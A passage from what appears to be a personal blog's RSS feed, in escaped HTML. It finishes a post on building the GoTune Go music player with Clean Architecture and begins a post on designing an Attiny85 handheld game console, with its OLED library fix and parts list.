srcset=&quot;/assets/images/gotune/light-480w.webp 480w, /assets/images/gotune/light-640w.webp 640w, /assets/images/gotune/light-960w.webp 960w, /assets/images/gotune/light-1280w.webp 1280w, /assets/images/gotune/light.webp 1920w&quot; sizes=&quot;(max-width: 768px) 100vw, 768px&quot; /&gt;&lt;source type=&quot;image/png&quot; srcset=&quot;/assets/images/gotune/light-480w.png 480w, /assets/images/gotune/light-640w.png 640w, /assets/images/gotune/light-960w.png 960w, /assets/images/gotune/light-1280w.png 1280w, /assets/images/gotune/light.png 1920w&quot; sizes=&quot;(max-width: 768px) 100vw, 768px&quot; /&gt;&lt;img src=&quot;/assets/images/gotune/light.png&quot; alt=&quot;GoTune Light Theme&quot; class=&quot;&quot; width=&quot;1600&quot; height=&quot;646&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; /&gt; &lt;/picture&gt; &lt;/div&gt; &lt;h2 id=&quot;the-first-attempt&quot;&gt;The First Attempt&lt;/h2&gt; &lt;p&gt;My initial proof of concept came together over a few evenings. Basic playback worked. Playlists loaded. The UI was functional. But the code looked uncomfortably familiar: callbacks nested in callbacks, UI components directly manipulating audio state, testing impossible without running the full application. I had recreated the same architecture problems from college, just in Go instead of C.&lt;/p&gt; &lt;p&gt;Life got busy, and the project sat dormant for months. But in January 2026, I carved out time to actually explore how Clean Architecture adapts to desktop development.&lt;/p&gt; &lt;h2 id=&quot;what-i-ended-up-with&quot;&gt;What I Ended Up With&lt;/h2&gt; &lt;p&gt;After a lot of iterative refactoring, I landed on this structure:&lt;/p&gt; &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 4 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;main.go -&amp;gt; app -&amp;gt; services -&amp;gt; ports &amp;lt;- adapters | | v v domain (Fyne, BASS, SQLite) &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;The &lt;strong&gt;domain layer&lt;/strong&gt; is pure Go: music tracks, playlists, and events as plain structs with no external dependencies. This code could run anywhere.&lt;/p&gt; &lt;p&gt;The &lt;strong&gt;ports layer&lt;/strong&gt; defines contracts through interfaces. What does an audio engine need to do? What events can the system publish?&lt;/p&gt; &lt;p&gt;The &lt;strong&gt;service layer&lt;/strong&gt; orchestrates business logic, depending only on domain models and port interfaces. No Fyne imports. No audio library imports.&lt;/p&gt; &lt;p&gt;The &lt;strong&gt;adapter layer&lt;/strong&gt; is where Fyne, the BASS audio library, and SQLite live. These adapters implement port interfaces and translate between external dependencies and the domain.&lt;/p&gt; &lt;div class=&quot;text-center&quot;&gt; &lt;picture&gt;&lt;source type=&quot;image/avif&quot; srcset=&quot;/assets/images/gotune/dark-480w.avif 480w, /assets/images/gotune/dark-640w.avif 640w, /assets/images/gotune/dark-960w.avif 960w, /assets/images/gotune/dark-1280w.avif 1280w, /assets/images/gotune/dark.avif 1920w&quot; sizes=&quot;(max-width: 768px) 100vw, 768px&quot; /&gt;&lt;source type=&quot;image/webp&quot; srcset=&quot;/assets/images/gotune/dark-480w.webp 480w, /assets/images/gotune/dark-640w.webp 640w, /assets/images/gotune/dark-960w.webp 960w, /assets/images/gotune/dark-1280w.webp 1280w, /assets/images/gotune/dark.webp 1920w&quot; sizes=&quot;(max-width: 768px) 100vw, 768px&quot; /&gt;&lt;source type=&quot;image/png&quot; srcset=&quot;/assets/images/gotune/dark-480w.png 480w, /assets/images/gotune/dark-640w.png 640w, /assets/images/gotune/dark-960w.png 960w, /assets/images/gotune/dark-1280w.png 1280w, /assets/images/gotune/dark.png 1920w&quot; sizes=&quot;(max-width: 768px) 100vw, 768px&quot; /&gt;&lt;img src=&quot;/assets/images/gotune/dark.png&quot; alt=&quot;GoTune Dark Theme&quot; class=&quot;&quot; width=&quot;1600&quot; height=&quot;643&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; /&gt; &lt;/picture&gt; &lt;/div&gt; &lt;h2 id=&quot;how-it-worked-out&quot;&gt;How It Worked Out&lt;/h2&gt; &lt;p&gt;Some patterns translated directly from backend work. Dependency injection works exactly as expected:&lt;/p&gt; &lt;div class=&quot;language-go highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 4 5 6 7 8 9 10 11 12 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;k&quot;&gt;type&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;PlaybackService&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;engine&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ports&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;AudioEngine&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;bus&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ports&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;EventBus&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;mu&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sync&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;RWMutex&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;func&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;NewPlaybackService&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;engine&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ports&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;AudioEngine&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;bus&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ports&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;EventBus&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;PlaybackService&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;PlaybackService&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;engine&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;engine&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;bus&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;bus&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;I can test &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PlaybackService&lt;/code&gt; by injecting mocks. No GUI required. No audio hardware required.&lt;/p&gt; &lt;p&gt;Domain events replaced the callback spaghetti:&lt;/p&gt; &lt;div class=&quot;language-go highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 4 5 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;k&quot;&gt;type&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;EventBus&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;interface&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Publish&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;event&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;domain&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Event&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Subscribe&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;eventType&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;domain&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;EventType&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;handler&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;domain&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;EventHandler&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;domain&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;SubscriptionID&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Unsubscribe&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;id&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;domain&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;SubscriptionID&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;div class=&quot;language-go highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 4 5 6 7 8 9 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;k&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;EventTrackLoaded&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;EventType&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;track.loaded&quot;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;EventTrackStarted&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;EventType&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;track.started&quot;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;EventTrackPaused&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;EventType&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;track.paused&quot;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;EventTrackStopped&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;EventType&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;track.stopped&quot;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;EventTrackCompleted&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;EventType&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;track.completed&quot;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;EventVolumeChanged&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;EventType&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;volume.changed&quot;&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;// ... over 20 event types total&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;The playback service publishes &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;TrackStartedEvent&lt;/code&gt;. The UI subscribes and updates the play button. The visualizer subscribes and starts animating. Neither knows the other exists. Same event-driven architecture I use for microservice communication, just within a single process.&lt;/p&gt; &lt;p&gt;Other patterns needed adjustment. State management is more complex than in stateless services. A music player has persistent state: current track, playback position, volume level, playlist order. This state lives in services but needs to reflect in the UI. Thread safety becomes a real concern since Fyne, like most GUI frameworks, requires UI updates from a specific thread.&lt;/p&gt; &lt;p&gt;The adapter layer ended up much thicker than in backend applications. GUI frameworks are opinionated about how you structure UI code. I used MVP (Model-View-Presenter) within the adapter layer to keep Fyne-specific code organized while ensuring presenters communicate through the event bus rather than directly manipulating services.&lt;/p&gt; &lt;p&gt;CGO also added complexity that pure Go services don’t have. The BASS audio library requires managing dynamic libraries across platforms: build tags, platform-specific initialization, careful resource cleanup. None of this exists when writing a REST API.&lt;/p&gt; &lt;h2 id=&quot;the-visualizer&quot;&gt;The Visualizer&lt;/h2&gt; &lt;p&gt;One feature that proved the architecture was worth it: the audio visualizer. GoTune has eleven different visualizers that respond to music in real-time using FFT spectrum analysis.&lt;/p&gt; &lt;div class=&quot;text-center&quot;&gt; &lt;picture&gt;&lt;source type=&quot;image/avif&quot; srcset=&quot;/assets/images/gotune/visualizer-2-480w.avif 480w, /assets/images/gotune/visualizer-2-640w.avif 640w, /assets/images/gotune/visualizer-2.avif 1920w&quot; sizes=&quot;(max-width: 768px) 100vw, 768px&quot; /&gt;&lt;source type=&quot;image/webp&quot; srcset=&quot;/assets/images/gotune/visualizer-2-480w.webp 480w, /assets/images/gotune/visualizer-2-640w.webp 640w, /assets/images/gotune/visualizer-2-960w.webp 960w, /assets/images/gotune/visualizer-2.webp 1920w&quot; sizes=&quot;(max-width: 768px) 100vw, 768px&quot; /&gt;&lt;img src=&quot;/assets/images/gotune/visualizer-2.png&quot; alt=&quot;GoTune Visualizer&quot; class=&quot;&quot; width=&quot;1010&quot; height=&quot;766&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; /&gt; &lt;/picture&gt; &lt;/div&gt; &lt;p&gt;Adding visualizers was straightforward because of the clean boundaries. The audio adapter exposes FFT data through a port interface. Visualizer adapters consume that data and render to Fyne canvases. The service layer doesn’t know visualizers exist. I could add more, remove them, or replace the entire visualization system without touching playback logic.&lt;/p&gt; &lt;div class=&quot;text-center&quot;&gt; &lt;picture&gt;&lt;source type=&quot;image/avif&quot; srcset=&quot;/assets/images/gotune/visualizer-1-480w.avif 480w, /assets/images/gotune/visualizer-1.avif 1920w&quot; sizes=&quot;(max-width: 768px) 100vw, 768px&quot; /&gt;&lt;source type=&quot;image/webp&quot; srcset=&quot;/assets/images/gotune/visualizer-1-480w.webp 480w, /assets/images/gotune/visualizer-1.webp 1920w&quot; sizes=&quot;(max-width: 768px) 100vw, 768px&quot; /&gt;&lt;img src=&quot;/assets/images/gotune/visualizer-1.png&quot; alt=&quot;GoTune Visualizer Alternative&quot; class=&quot;&quot; width=&quot;1002&quot; height=&quot;770&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; /&gt; &lt;/picture&gt; &lt;/div&gt; &lt;h2 id=&quot;what-i-learned&quot;&gt;What I Learned&lt;/h2&gt; &lt;p&gt;Clean Architecture does work for desktop applications, but with caveats.&lt;/p&gt; &lt;p&gt;Expect a larger adapter layer. GUI frameworks are substantial dependencies with strong opinions. Your adapters will do more heavy lifting than a typical HTTP handler.&lt;/p&gt; &lt;p&gt;Event-driven communication is necessary. Without events, you end up with circular dependencies between UI and services.&lt;/p&gt; &lt;p&gt;Thread safety matters more. Backend services often handle concurrency through request isolation. Desktop apps have background tasks, UI threads, and user events all interleaving.&lt;/p&gt; &lt;p&gt;Testing remains the biggest win. The ability to test business logic in isolation justifies the architectural investment.&lt;/p&gt; &lt;p&gt;From Tejash Player to GoTune, the core problem stayed the same: play music. But the tangled Win32 application is now a cleanly architected, cross-platform, testable codebase. The implementation details differ from backend services, the adapter layer is larger, and you need to think harder about state and threading. But the core benefits remain.&lt;/p&gt; &lt;p&gt;GoTune is open source: &lt;a href=&quot;https://github.com/tejashwikalptaru/gotune&quot;&gt;https://github.com/tejashwikalptaru/gotune&lt;/a&gt;&lt;/p&gt; </description> <pubDate>Tue, 03 Feb 2026 00:00:00 +0000</pubDate> <link>https://tejashwi.in/building-gotune-music-player-clean-architecture/</link> <guid isPermaLink="true">https://tejashwi.in/building-gotune-music-player-clean-architecture/</guid> <category>golang</category> <category>fyne</category> <category>clean-architecture</category> <category>music-player</category> <category>desktop-app</category> <category>cgo</category> <category>audio</category> <category>Development</category> <category>Golang</category> <category>Projects</category> </item> <item> <title>A tiny game console based on Attiny85</title> <description>&lt;p&gt;I had some Attiny85 chips lying around my desk and a few free days, so I went looking for projects. I found that &lt;a href=&quot;https://www.tinyjoypad.com/tiny-joypad&quot;&gt;Daniel Champagne&lt;/a&gt; had already created several games for this chip. His schematics were missing some resistor values, but he replied quickly when I emailed him.&lt;/p&gt; &lt;p&gt;This isn’t a retro gaming device. You can’t play 8-bit Nintendo games on an Attiny85. But you can play games specifically written for it, or write your own.&lt;/p&gt; &lt;h2 id=&quot;the-oled-problem&quot;&gt;The OLED Problem&lt;/h2&gt; &lt;p&gt;The project uses an SSD1306-based I2C OLED screen. I had a few of these in my lab. I compiled Daniel’s code using the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ssd1306xled&lt;/code&gt; library from &lt;a href=&quot;https://github.com/Defragster/ssd1306xled&quot;&gt;Github&lt;/a&gt;. It compiled fine. Nothing appeared on screen.&lt;/p&gt; &lt;p&gt;I tried several different OLED screens. None worked. I tested them with the Adafruit library. They all worked fine. The screens weren’t the problem.&lt;/p&gt; &lt;p&gt;The Github library is a port of the AVR TinuSaur project, and the original is hosted on &lt;a href=&quot;https://bitbucket.org/tinusaur/ssd1306xled/src/default/&quot;&gt;BitBucket&lt;/a&gt;. Searching led me to a Tinusaur article &lt;a href=&quot;https://tinusaur.org/tag/ssd1306xled/&quot;&gt;describing compatibility issues&lt;/a&gt;. Most OLED screens from China claim to use SSD1306 but sometimes use SSD1315 or SSH1306 instead.&lt;/p&gt; &lt;p&gt;I cloned the original repository and modified it for my Attiny85. Still nothing. Digging into the code, I concluded the I2C implementation itself was broken. You can follow my debugging journey in &lt;a href=&quot;https://bitbucket.org/tinusaur/ssd1306xled/issues/5/issue-with-ssd1306&quot;&gt;this issue thread&lt;/a&gt;.&lt;/p&gt; &lt;h2 id=&quot;the-fix&quot;&gt;The Fix&lt;/h2&gt; &lt;p&gt;The Attiny85 has 8KB of flash memory. The game uses about 6KB, leaving 2KB for the OLED driver. Libraries like Adafruit’s or Tiny4kOled would push the program over 8KB. I needed the lightweight ssd1306xled library to work.&lt;/p&gt; &lt;p&gt;I took the latest &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SSD1306XLED&lt;/code&gt; library and replaced its I2C implementation with the working one from &lt;a href=&quot;https://github.com/technoblogy/tiny-i2c&quot;&gt;TinyI2C&lt;/a&gt;. That fixed it.&lt;/p&gt; &lt;p&gt;My working fork is on &lt;a href=&quot;https://github.com/tejashwikalptaru/ssd1306xled&quot;&gt;Github&lt;/a&gt;.&lt;/p&gt; &lt;p&gt;&lt;em&gt;Update:&lt;/em&gt; that fork did not stay a fork. It turned into a maintained library with contributors, a release cycle and a documentation site. I wrote about &lt;a href=&quot;/journey-of-ssd1306xled-library/&quot;&gt;how that happened&lt;/a&gt;, and later used it to build a &lt;a href=&quot;/nokia-composer-attiny85-ringtone-player/&quot;&gt;Nokia Composer ringtone player&lt;/a&gt; on the same chip.&lt;/p&gt; &lt;h2 id=&quot;the-schematic&quot;&gt;The Schematic&lt;/h2&gt; &lt;p&gt;While researching the OLED issue, I found a modified version of Daniel’s project by Dave on the &lt;a href=&quot;https://www.element14.com/community/docs/DOC-91439/l/episode-384-retro-gaming-handheld-without-a-pcb&quot;&gt;element14 community&lt;/a&gt;. Dave optimized the Attiny85 pin usage. If you’re interested in this project, watch his video.&lt;/p&gt; &lt;h2 id=&quot;pcb-design&quot;&gt;PCB Design&lt;/h2&gt; &lt;p&gt;The goal was simple: make it as small as possible using SMD components. I used 0805 resistors. They’re small but still solderable by hand.&lt;/p&gt; &lt;p&gt;For quick projects I use &lt;a href=&quot;https://easyeda.com/editor&quot;&gt;EasyEDA&lt;/a&gt; instead of &lt;a href=&quot;https://www.altium.com/altium-designer/&quot;&gt;Altium&lt;/a&gt;. Here are the components I used:&lt;/p&gt; &lt;div class=&quot;table-scroll&quot;&gt; &lt;table&gt; &lt;thead&gt; &lt;tr&gt; &lt;th&gt;Quantity&lt;/th&gt; &lt;th&gt;Manufacturer Part Number&lt;/th&gt; &lt;th&gt;Manufacturer Name&lt;/th&gt; &lt;th&gt;Notes&lt;/th&gt; &lt;/tr&gt; &lt;/thead&gt; &lt;tbody&gt; &lt;tr&gt; &lt;td align=&quot;right&quot;&gt;1.0&lt;/td&gt; &lt;td&gt;ATTINY85-20PU&lt;/td&gt; &lt;td&gt;MICROCHIP&lt;/td&gt; &lt;td&gt;Attiny85 IC&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td align=&quot;right&quot;&gt;5.0&lt;/td&gt; &lt;td&gt;SKQGAFE010&lt;/td&gt; &lt;td&gt;ALPS ALPINE&lt;/td&gt; &lt;td&gt;Push button&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td align=&quot;right&quot;&gt;2.0&lt;/td&gt; &lt;td&gt;MCWR08X2001FTL&lt;/td&gt; &lt;td&gt;MULTICOMP PRO&lt;/td&gt; &lt;td&gt;2K resistor&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td align=&quot;right&quot;&gt;2.0&lt;/td&gt; &lt;td&gt;WR08X1002FTL&lt;/td&gt; &lt;td&gt;WALSIN&lt;/td&gt; &lt;td&gt;10K resistor&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td align=&quot;right&quot;&gt;1.0&lt;/td&gt; &lt;td&gt;MCPWR05FTEW8201&lt;/td&gt; &lt;td&gt;MULTICOMP PRO&lt;/td&gt; &lt;td&gt;8.2K (8K2) resistor&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td align=&quot;right&quot;&gt;1.0&lt;/td&gt; &lt;td&gt;ERJ6GEYJ392V&lt;/td&gt; &lt;td&gt;PANASONIC&lt;/td&gt; &lt;td&gt;3.9K (3K9) resistor&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td align=&quot;right&quot;&gt;1.0&lt;/td&gt; &lt;td&gt;MCWR08X1802FTL&lt;/td&gt; &lt;td&gt;MULTICOMP PRO&lt;/td&gt; &lt;td&gt;18K resistor&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td align=&quot;right&quot;&gt;1.0&lt;/td&gt; &lt;td&gt;MCABT-458-RC&lt;/td&gt; &lt;td&gt;MULTICOMP PRO&lt;/td&gt; &lt;td&gt;Speaker&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td align=&quot;right&quot;&gt;1.0&lt;/td&gt; &lt;td&gt;796136-1&lt;/td&gt; &lt;td&gt;TE CONNECTIVITY&lt;/td&gt; &lt;td&gt;CR2032 battery holder&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td align=&quot;right&quot;&gt;1.0&lt;/td&gt; &lt;td&gt;JS102011SAQN&lt;/td&gt; &lt;td&gt;C &amp;amp; K COMPONENTS&lt;/td&gt; &lt;td&gt;Power switch&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td align=&quot;right&quot;&gt;1.0&lt;/td&gt; &lt;td&gt;&lt;/td&gt; &lt;td&gt;SSD1306&lt;/td&gt; &lt;td&gt;0.96 inch white OLED screen&lt;/td&gt; &lt;/tr&gt; &lt;/tbody&gt; &lt;/table&gt; &lt;/div&gt; &lt;p&gt;Using Dave’s schematic as a reference, I created my PCB:&lt;/p&gt; &lt;div class=&quot;text-center&quot;&gt; &lt;picture&gt;&lt;source type=&quot;image/avif&quot; srcset=&quot;/assets/images/attiny85-game/design-a-schematic-480w.avif 480w, /assets/images/attiny85-game/design-a-schematic-640w.avif 640w, /assets/images/attiny85-game/design-a-schematic.avif 1920w&quot; sizes=&quot;(max-width: 768px) 100vw, 768px&quot; /&gt;&lt;source type=&quot;image/webp&quot; srcset=&quot;/assets/images/attiny85-game/design-a-schematic-480w.webp 480w, /assets/images/attiny85-game/design-a-schematic-640w.webp 640w, /assets/images/attiny85-game/design-a-schematic.webp 1920w&quot; sizes=&quot;(max-width: 768px) 100vw, 768px&quot; /&gt;&lt;source type=&quot;image/png&quot; srcset=&quot;/assets/images/attiny85-game/design-a-schematic-480w.png 480w, /assets/images/attiny85-game/design-a-schematic.png 1920w&quot; sizes=&quot;(max-width: 768px) 100vw, 768px&quot; /&gt;&lt;img src=&quot;/assets/images/attiny85-game/design-a-schematic.png&quot; alt=&quot;Design A schematic&quot; class=&quot;&quot; width=&quot;1169&quot; height=&quot;827&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; /&gt; &lt;/picture&gt; &lt;/div&gt; &lt;div class=&quot;text-center&quot;&gt; &lt;picture&gt;&lt;source type=&quot;image/avif&quot; srcset=&quot;/assets/images/attiny85-game/design-a-front.avif 1920w&quot; sizes=&quot;(max-width: 768px) 100vw, 768px&quot; /&gt;&lt;source type=&quot;image/webp&quot; srcset=&quot;/assets/images/attiny85-game/design-a-front.webp 1920w&quot; sizes=&quot;(max-width: 768px) 100vw, 768px&quot; /&gt;&lt;img src=&quot;/assets/images/attiny85-game/design-a-front.png&quot; alt=&quot;Design A front&quot; class=&quot;&quot; width=&quot;233&quot; height=&quot;402&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; /&gt; &lt;/picture&gt; &lt;picture&gt;&lt;source type=&quot;image/webp&quot; srcset=&quot;/assets/images/attiny85-game/design-a-back.webp 1920w&quot; sizes=&quot;(max-width: 768px) 100vw, 768px&quot; /&gt;&lt;img src=&quot;/assets/images/attiny85-game/design-a-back.png&quot; alt=&quot;Design A back&quot; class=&quot;&quot; width=&quot;229&quot; height=&quot;404&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; /&gt; &lt;/picture&gt; &lt;picture&gt;&lt;source type=&quot;image/avif&quot; srcset=&quot;/assets/images/attiny85-game/design-a-pcb.avif 1920w&quot; sizes=&quot;(max-width: 768px) 100vw, 768px&quot; /&gt;&lt;source type=&quot;image/webp&quot; srcset=&quot;/assets/images/attiny85-game/design-a-pcb.webp 1920w&quot; sizes=&quot;(max-width: 768px) 100vw, 768px&quot; /&gt;&lt;img src=&quot;/assets/images/attiny85-game/design-a-pcb.png&quot; alt=&quot;Design A PCB&quot; class=&quot;&quot; width=&quot;233&quot; height=&quot;404&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; /&gt; &lt;/picture&gt; &lt;/div&gt; &lt;h2 id=&quot;another-oled-mistake&quot;&gt;Another OLED Mistake&lt;/h2&gt; &lt;p&gt;I ordered the PCB, then noticed a problem during the week-long wait. Look at the pin order: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;VCC-GND-SCL-SDA&lt;/code&gt;. Some OLED screens have the first two pins swapped.&lt;/p&gt; &lt;div class=&quot;text-center&quot;&gt; &lt;picture&gt;&lt;img src=&quot;/assets/images/attiny85-game/SSD1306-0.96-types.png&quot; alt=&quot;two types of SSD1306 OLED screen&quot; class=&quot;&quot; width=&quot;400&quot; height=&quot;200&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; /&gt; 